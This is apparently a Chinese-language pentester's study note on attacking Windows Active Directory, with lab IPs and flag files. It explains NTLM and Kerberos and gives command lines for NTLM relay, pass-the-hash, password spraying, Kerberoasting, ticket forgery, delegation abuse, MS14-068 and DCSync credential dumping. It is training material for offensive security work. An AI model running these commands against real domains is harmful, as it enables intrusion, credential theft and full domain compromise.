net use \\192.168.52.138\ipc$ "password" /user:"Administrator" # 建立非空连接
# IPC$ 连接建立之后的操作
dir \\192.168.52.138\c$ # 列出目标文件目录
type \\192.168.52.138\c$\1.txt #远程读取文件

at & schtasks 使用

1
2
3
net time \\192.168.52.138 #查看目标系统的时间
copy calc.bat \\192.168.52.138\c$ #将文件复制到远程主机的c盘
at \\192.168.52.138 4:11pm c:\calc.bat #设置定时任务

windows server2008以后的版本at命令已经被弃用了

1
2
3
4
copy hack.bat \\192.168.52.138\c$
schtasks /create /tn hack /tr C:\hack.bat /sc ONSTART /s 192.168.52.138 /ru "system" /u administrator /p Abc123456! #创建了名为hack的计划任务,设置计划任务在系统启动时触发,指定以系统权限(Local System)运行该计划任务。如果没有建立ipc$需要/u/p
schtasks /run /tn hack /s 192.168.52.138
schtasks /delete /s 192.168.52.138 /u administrator /p Abc123456! /tn hack /f

NTLM 身份验证协议协议

早期SMB协议明文在网络上传输数据,后来诞生了LM验证机制,LM机制由于过于简单,微软提出了WindowsNT挑战/响应机制,这就是NTLM。远程桌面(3389)和文件共享(445)都使用的是ntlm进行认证
目前 NTLM 几个常见的使用场景:

在域环境中用作 Kerberos 的备份,当Kerberos 失效时,就会使用 NTLM 进行认证。
使用本地账户登录时也会使用 NTLM 认证。
客户端尝试使用 ip 进行连接,而不是主机名时,也会使用 NTLM 进行认证。

1423.1

  1. **Application message(s)**:表示客户端和服务器之间发送的应用协议消息,并发送用户名、域名、机器名等相关信息
  2. NTLM_NEGOTIATE:client会向server发起请求连接协商,这个消息指定了该会话期望的安全特性。
  3. NTLM_CHALLENGE:server就会在本地生成一个(16位或8位)随机字符(Challenge),并将Challenge传给client。
  4. NTLM_AUTHENTICATE:username的NTLM-hash对Challenge进行加密(加密过程中会利用到用户名、域名、机器名等相关信息),生成Response,并将Response发送给server
  5. **Application message(s)**:server在收到Response后,将其和相同的方式进行加密生成另一个Response,如果相同,则验证成功,如果不同就失败

NTLM在域登录的认证
NTLM域认证

NTLM Relay

根据上图,我们知道只要将截获的Net-NTLM Hash重放,就可以得到对应的TGT,从而实现对其他机器的控制
可以结合强制认证的方式获得Net-NTLM Hash实现横向移动(域控默认开启smb签名)

通过添加用户来验证 PeitiPotam 强制验证成功与否。
python3 ntlmrelayx.py -t ldaps://dc01.hack.lab --add-computer JustTest01$ --remove-mic

利用工具触发认证
使用 PeitiPotam 利用工具进行强制触发认证
python3 PetitPotam.py -d hack.lab -u spiderman -p 123.com 20.20.20.100 20.20.20.6

windows Kerberos身份认证协议

1-1024x700
krbtgt 用户,该用户是在创建域时系统自动创建的一个账号,其作用是密钥发行中心的服务账号,其密码是系统随机生成的,无法正常登陆主机。

SPN是服务器上所运行服务的唯一标示,每个使用Kerberos的服务都需要一个SPN,这样客户端才可以辨认这个服务。

可以把kerberos认证流程简要的分为三个部分:

第一部分

client向AS(Authentication Service)证明自己的身份的过程,目标是获取TGT(Ticket Granting Ticket)票据
请求包中包含:请求的用户名、客户端主机名、加密类型和
Authenticator
(用户NTLM hash加密的时间戳)以及一些其他信息。
AS会返回给Client一个Logon Session Key(请求用户client的NTLM hash对Session-key as进行加密)和krbtgt用户 hash加密的TGT票据(TGT里面包含PAC,PAC包含Client的域sid、Client所在的组)

HASH传递(PTH)

hash 传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码(前提是得有相应的权限)

1
2
3
4
5
6
7
8
9
10
11
12
#运行mimikatz.exe
privilege::debug #提升权限
token::elevate #将权限提升至system

sekurlsa::logonpasswords #导出用户hash
sekurlsa::pth /user:WIN2016$ /domain:XIAORANG /ntlm:adcd60560397bbaf2cd059dfe4676f77 #获取后进行hash传递,登录域控

#使用脚本连接
proxychains impacket-wmiexec xiaorang.lab/Administrator@172.22.3.2 -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -dc-ip 172.22.3.2
proxychains python3 smbexec.py -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang.lab/administrator@172.22.3.26 -codec gbk

proxychains crackmapexec smb 172.22.9.7 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag04.txt"
PTH 的限制 UAC
域内用户枚举

在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN

1
./kerbrute_linux_386 userenum --dc 172.22.6.12 -d xiaorang.lab usersname.txt -t 10
密码喷洒

当用户名存在,密码正确或者错误的时候,返回包也不一样,因此可以进行用户名密码爆破。

1
2
3
4
5
6
proxychains crackmapexec smb 172.22.4.45 -u Adrian -p rockyou.txt -d WIN19

proxychains ./kerbrute_darwin_amd64 passwordspray --dc 172.22.9.7 -d xiaorang.lab ~/user.txt i9XDE02pLVf #域内爆破

proxychains4 hydra -L user.txt -P pass.txt 172.22.9.26 rdp >>result.txt #hydra爆破rdp
cat result.txt|| grep account
AS-REP Roasting(不常用)

**关闭预身份验证后(默认是不关闭)**,在进行AS_REQ之后的时候,KDC不会进行任何验证就将TGT和用该用户Hash加密的Login Session Key返回,由于AS_REP的数据包中Login Session Key的是由用户Hash进行加密的,因此,可以对获取到的用户Hash加密的Login Session Key进行离线爆破,得到对应用户的明文密码

1
2
3
./kerbrute_darwin_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab ~/users.txt -o output.txt #枚举未设置预认证的账号
hashcat -m 18200 1.txt -a 0 ./rockyou.txt --force #爆破密码

黄金票据

(1):域名称
(2):域的SID(安全标识符,whoami /user可获取当前用户的sid,去掉最后的-四位后即为域sid)
(3):域的krbtgt账户密码HASH
(4):伪造用户名,可以是任意的

获取krbtgt的hash值,该值的方式有两种:

(1)控制了域控然后查询 secretsdump.exe 域名/administrator:密码@IP

(2)通过dsync查询 milikatz->lsadump::dcsync /domian:域名 /user:krbtgt

第二部分

TGS(Ticket Granting Service)通过client的TGT判断其是否有服务的访问权限,目标是获取ST(SEerver Ticket)
返回一个用Login session key加密后的用于确保客户端服务器之间通讯安全的server-session -key,并且生成用Server_Hash加密的TGS票据(ST)

委托攻击

主机hostB上的服务B需要代表用户A去访问hostC上的服务C,这个过程就被称为委派
查询域委派关系

1
proxychains findDelegation.py xiaorang.lab/Aldrich:'P@ssw0rd' -dc-ip 172.22.8.15 -target-domain xiaorang.lab
非约束性委派(获取任意用户的TGT)

任何用户都可以委派主机hostB代替自己去访问任何服务

1
2
3
4
#某个用户委托hostB去访问某个服务,那么这个用户会将 TGT发送到hostB并缓存到LSASS中,以方便以后使用,如果这个用户是域用户我们就可以获取他的TGT
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" #导出域管的TGT

mimikatz.exe "kerberos::ptt [0;4bbb6]-2-0-60a10000-Administrator@krbtgt-HACKME.COM.kirbi" "exit" #通过 Pass The Ticket(PTT)将 TGT 注入到当前会话中,[0;4bbb6]-2-0-60a10000-Administrator@krbtgt-HACKME.COM.kirbi是对应的TGT文件

如果上面没有目标的tgt,怎么让指定用户访问委派我们哪,可以使用NTLM Relay

1
2
3
4
5
6
7
8
9
#上传Rubeus.exe 监听 TGT
Rubeus.exe monitor /interval:1 /filteruser:DC01$

#使用 DFSCoerce 漏洞利用工具,触发辅域控进行强制验证
proxychains python3 dfscoerce.py -u win19$ -hashes "aad3b435b51404eeaad3b435b51404ee:21b11500d5834a2b9b3373564a0565f6" -d xiaorang.lab win19 172.22.4.7

#导入 TGT 然后 DCSync
Rubeus.exe ptt /ticket:xxx
mimikatz.exe "lsadump::dcsync /all /csv"
约束委派

限制了访问的服务类型与资源主机,但是没有限制谁能对主机hostB进行委派

对于约束性委派,服务账号只能获取该用户的 ST 服务票据,从而只能模拟该用户访问特定的服务

如:假设我们拿到了配置了访问DC CIFS服务的约束性委派的域账号MSSQLSERVER$,现在我们尝试以Administrator的权限访问DC的CIFS服务。

1
2
3
4
5
6
7
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" # 获取自身的hash

.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:NTLM哈希 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap #申请 可转发TS(S4U2self 协议允许服务代表任意用户请求访问自身服务的ST服务票据),(需要提供可转发的TGT,自身的hash申请的)

.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:你上面抓到的服务票据 #使用上面获取S4U-TS伪造 Administrator 用户申请 ST(S4U2proxy 协议允许服务在已取得S4U-TS下代表任意用户获取其他指定服务的服务票据)

#可以看出只要控制配置约束性委派服务的机器,那么我们就可以获得任意用户权限的ticket
基于资源的约束性委派(RBCD)

基于资源的约束委派允许资源配置受信任的帐户委派给他们。由资源本身为自己配置资源委派信任关系,资源本身决定可以信任谁。换个角度就是,资源和可以委派别人访问该资源的用户都被限制了

因为能够模拟其他用户的权限访问自己,所以资源的约束委派只能对自己进行攻击,也就是说提权操作或者权限维持

一般的情况是我们拿到一个域账户,其具备某台机器的属性修改的权限,那我们就可以获取这台主机的管理员权限

1
2
3
4
5
6
7
8
9
#利用zhangxin域用户创建一个机器账户TEST2$(每个域用户默认可以创建10个)
proxychains python3 addcomputer.py xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.60.8 -dc-host xiaorang.lab -computer-name 'TEST2$' -computer-pass 'P@ssw0rd'
#然后修改Fileserver$的msDS-AllowedToActOnBehalfOfOtherIdentity 为新创建的机器用户的sid
proxychains python3 rbcd.py xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.60.8 -action write -delegate-to 'Fileserver$' -delegate-from 'TEST2$'
#利用该机器账户的凭证通过S4U协议伪造Administrator用户委派至目标主机的ST票据
proxychains python3 getST.py xiaorang.lab/'TEST2$':'P@ssw0rd' -spn cifs/Fileserver.xiaorang.lab -impersonate Administrator -dc-ip 172.22.60.8
export KRB5CCNAME=Administrator.ccache #导入申请的票据
vim /etc/hosts #改本地的/etc/hosts
proxychains python3 psexec.py Administrator@FILESERVER.xiaorang.lab -k -no-pass -dc-ip 172.22.60.8 -codec gbk #无密码连接
白银票据

白银票据制作条件
(1):域名称
(2):域的SID
3.目标服务FQDN
4.服务名
(5):域控服务器账户的NTLM Hash(获取方法是可能域内某主机的hash和域控服务器的hash相同)
(6):伪造任意的用户名

伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名,则银票将不起作用

Kerberoasting攻击

SPN(Service Principal Name)是Kerberos身份验证中用于标识特定服务实例(如HTTP、SMB、MySQL)的唯一名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联

SPN分为以下两种类型,一种为注册在活动目录的“机器账户computer”下,另一种为注册在活动目录的“域账号Users”下

1
2
3
setspn -Q */*                # 查看当前域内所有的SPN
setspn -T org.gm7 -Q */* # 指定域查询SPN
setspn -L d4m1ts # 查找指定用户的SPN

Kerberoasting简单来说就是暴破ST,因为ST是由服务的hash进行加密的,如果服务账号是域账号,就有可能破解域账号的密码;

1
2
3
4
5
6
7
8
#获取ST票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQL2Svc/DESKTOP-9CAT508.org.gm7"
#导出ST
mimikatz "kerberos::list /export" "exit"
#暴破ST
./tgsrepcrack.py password.txt 1-40a10000-d4m1ts@MSSQL2Svc\~DESKTOP-9CAT508.org.gm7-ORG.GM7.kirbi

在Kerberos认证中,ST使用Service的NTML Hash。而域中所有主机都能通过查询SPN获取到服务对应的账户,所以我们可以对其进行爆破,这样就能获得其明文密码

第三部分

client拿着ST票据与服务端进行通信,检测后允许访问该SPN(ServicePrincipal Names,服务主体名称)

PAC伪造—-MS14-068

在第一部分,TGT里面包含PAC,而PAC中包含用户的sid,用户所在的组。
在第二部分,KDC会验证TGT中的PAC的签名,判断PAC是否被篡改,如果PAC完好,则重新构造新的PAC放在TGS票据中,
在第三部分,服务会拿着PAC去KDC那边询问用户有没有访问权限,KDC解密PAC。

小于2012R2且没有打KB3011780的域控中存在该漏洞,KDC会根据客户端指定PAC中数字签名的加密算法,来校验PAC的合法性。这使得攻击者可通过伪造PAC,修改PAC中的SID,导致KDC判断攻击者为高权限用户,从而导致权限提升漏洞的产生

需要有普通域用户的权限以及密码/hash值,以及用户的suid

1
2
3
4
5
6
7
8
9
systeminfo |find "3011780" #查看补丁
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
MS14-068.exe -u douser@demo -s S-1-5-21-979886063-111190
0045-1414766810-1107 -d 192.168.183.130 -p Dotest123
#这里获取到一个TGT_douser@demo.com.ccache文件
kerberos::purge #清空已有TGT票据
kerberos::list #查看TGT票据
#注入伪造的票据
kerberos::ptc TGT_douser@demo.com.ccache

DCsync攻击获取域内用户hash

DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据

默认以下用户存在该权限

DC本地Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户    企业管理员
域控的机器帐户

默认只有域控的机器用户域管理员能DCSYNC

1
2
3
4
5
6
7
8
#msf中
load kiwi #加载mimikatz
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" #执行一个DCSync攻击模拟,获取administrator的hash

proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt" #使用kail自带的crackmapexec工具进行HASH传递,并登录172.22.1.2在上面执行命令

#也可以用脚本
proxychains secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm

writeDacl权限

具有 WriteDACL 权限, 也可以写 DCSync

1
2
3
proxychains python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :4de6c4eeee1f315e1241c4a813e2b3b5 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2 #对Zhangtong用户写 DCSync
proxychains python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm #DCsync攻击获取域控hash
proxychains python3 wmiexec.py xiaorang.lab/Administrator@172.22.3.2 -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -dc-ip 172.22.3.2 #pth

其他cve

CVE-2020-1472 是继 MS17010 之后一个比较好用的内网提权漏洞,影响Windows Server 2008 R2 至 Windows Server 2019 的多个版本系统,只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞。该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为 windows ,该漏洞的稳定利用方式为重置目标域控的密码,然后利用空的控凭证进行 Dc sync 获取域管权限后修复域控密码,之所以不直接使用域控凭证远程执行命令,是因为城控账户是不可以登录的,但是域控具备 DCsync 权限, 可以获取域内任意用户的凭证。

CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。该漏洞就导致了第一部分AS会以签发一个机器名末尾不以$结尾的TGT;因此当后续伪造的用户使用TGT向TGS请求服务票据时TGS是信任TGT内的信息的。

CVE-2021-42287,在第二部分,当请求服务 ST 的账户没有被 KDC 找到时,KDC 会自动在尾部添加 $ 重新搜索

创建与DC机器账户名字(DC01$)相似的机器账户DC01,账户请求一个TGT后,然后更名账户为其他名字,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST

域间横向